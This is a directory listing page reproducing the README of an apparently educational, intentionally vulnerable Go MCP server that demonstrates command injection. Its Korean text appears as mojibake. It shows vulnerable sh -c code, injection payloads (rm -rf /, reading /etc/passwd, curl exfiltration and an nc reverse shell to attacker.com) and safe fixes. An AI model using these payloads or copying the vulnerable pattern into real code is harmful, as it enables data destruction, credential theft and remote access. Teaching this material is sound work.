Config is the same across clients β only the file and path differ.
{
"mcpServers": {
"vuln-mcp-server": {
"command": "<see-readme>",
"args": []
}
}
}Are you the author?
Add this badge to your README to show your security score and help users find safe servers.
π¨ THIS SOFTWARE IS INTENTIONALLY VULNERABLE AND FOR EDUCATIONAL PURPOSES ONLY π¨
No automated test available for this server. Check the GitHub README for setup instructions.
Five weighted categories β click any category to see the underlying evidence.
No known CVEs.
No package registry to scan.
Be the first to review
Have you used this server?
Share your experience β it helps other developers decide.
Sign in to write a review.
Others in security
An evil MCP server used for redteam testing
Proof primitive for AI agents on MultiversX. Anchor file hashes on-chain as verifiable proofs.
AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP.
mcpki-server is the backend infrastructure for https://www.mcpki.org, enabling secure public key management and autonomous certificate handling for large language models (LLMs).
MCP Security Weekly
Get CVE alerts and security updates for Vuln Mcp Server and similar servers.
Start a conversation
Ask a question, share a tip, or report an issue.
Sign in to join the discussion.
π¨ THIS SOFTWARE IS INTENTIONALLY VULNERABLE AND FOR EDUCATIONAL PURPOSES ONLY π¨
This software contains intentional Command Injection vulnerabilities for security education.
μ΄ νλ‘μ νΈλ Command Injection μ·¨μ½μ μ 보μ¬μ£Όλ κ΅μ‘μ© MCP (Model Context Protocol) μλ²μ λλ€. 보μ μ·¨μ½μ μ μνμ±μ μ΄ν΄νκ³ μμ ν μ½λ© λ°©λ²μ νμ΅νκΈ° μν λͺ©μ μΌλ‘ μ μλμμ΅λλ€.
// μνν μ½λ: μ¬μ©μ μ
λ ₯μ μ§μ shell λͺ
λ Ήμ΄μ μ½μ
command := fmt.Sprintf("find ./sandbox -name '%s' 2>/dev/null", filename)
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
μ·¨μ½μ : μ¬μ©μ μ λ ₯μ΄ μ§μ shell λͺ λ Ήμ΄μ μ½μ λ©λλ€.
곡격 μμ:
filename = "test.txt; rm -rf /"
filename = "test.txt && cat /etc/passwd"
filename = "test.txt | nc attacker.com 4444"
// μνν μ½λ: μ¬μ©μ μ
λ ₯μ μ§μ shell λͺ
λ Ήμ΄μ μ½μ
command := fmt.Sprintf("ls -la '%s' 2>/dev/null", path)
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
μ·¨μ½μ : κ²½λ‘ μ λ ₯μ΄ μ§μ shell λͺ λ Ήμ΄μ μ½μ λ©λλ€.
곡격 μμ:
path = "/tmp; cat /etc/passwd"
path = "/tmp && whoami"
path = "/tmp | curl -X POST http://attacker.com/data -d @/etc/passwd"
// λ§€μ° μνν μ½λ: μ¬μ©μ μ
λ ₯μ κ·Έλλ‘ shellμμ μ€ν
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
μ·¨μ½μ : μ¬μ©μ μ λ ₯μ κ·Έλλ‘ shellμμ μ€νν©λλ€. κ°μ₯ μνν μ·¨μ½μ μ λλ€.
곡격 μμ:
command = "rm -rf /"
command = "curl -X POST http://attacker.com -d @/etc/passwd"
command = "nc -e /bin/bash attacker.com 4444"
Go 1.19 μ΄μμ΄ μ€μΉλμ΄ μλμ§ νμΈνμΈμ.
μμ‘΄μ± μ€μΉ:
go mod tidy
go run vulnerable_mcp_server.go
λλ λ°μ΄λλ¦¬λ‘ λΉλ:
go build -o vulnerable_mcp_server vulnerable_mcp_server.go
./vulnerable_mcp_server
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "search_files",
"arguments": {
"filename": "test.txt"
}
}
}
// μμ ν λ°©λ²
cmd := exec.CommandContext(ctx, "find", "./sandbox", "-name", filename)
output, err := cmd.CombinedOutput()
import (
"regexp"
"fmt"
)
func validateFilename(filename string) error {
// νμΌλͺ
κ²μ¦
matched, err := regexp.MatchString("^[a-zA-Z0-9._-]+$", filename)
if err != nil || !matched {
return fmt.Errorf("invalid filename")
}
return nil
}
// μ¬μ© μμ
func safeSearchFiles(filename string) (string, error) {
if err := validateFilename(filename); err != nil {
return "", err
}
// μμ ν λͺ
λ Ήμ΄ μ€ν
cmd := exec.Command("find", "./sandbox", "-name", filename)
output, err := cmd.CombinedOutput()
return string(output), err
}
var allowedCommands = map[string]bool{
"ls": true,
"find": true,
"grep": true,
}
func executeSafeCommand(commandName string, args ...string) (string, error) {
if !allowedCommands[commandName] {
return "", fmt.Errorf("command not allowed: %s", commandName)
}
cmd := exec.Command(commandName, args...)
output, err := cmd.CombinedOutput()
return string(output), err
}
μ΄ μ½λλ κ΅μ‘ λͺ©μ μΌλ‘λ§ μ 곡λ©λλ€. μ μμ μΈ λͺ©μ μΌλ‘ μ¬μ©νλ κ²μ λΆλ²μ΄λ©°, μ μλ κ·Έμ λν μ± μμ μ§μ§ μμ΅λλ€. μ€μ μμ€ν μμ ν μ€νΈν λλ 격리λ νκ²½μμλ§ μννμΈμ.